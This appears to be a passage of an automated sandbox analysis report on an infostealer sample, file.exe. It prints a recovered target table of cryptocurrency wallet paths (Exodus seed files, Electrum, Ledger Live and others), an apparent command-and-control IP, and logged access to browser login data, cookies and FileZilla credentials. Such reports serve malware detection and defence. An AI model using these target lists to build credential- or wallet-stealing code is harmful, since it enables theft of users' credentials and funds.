Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Exodus\window-state.json*
Source: file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2572476247.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\.v
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2570783490.0000000000844000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
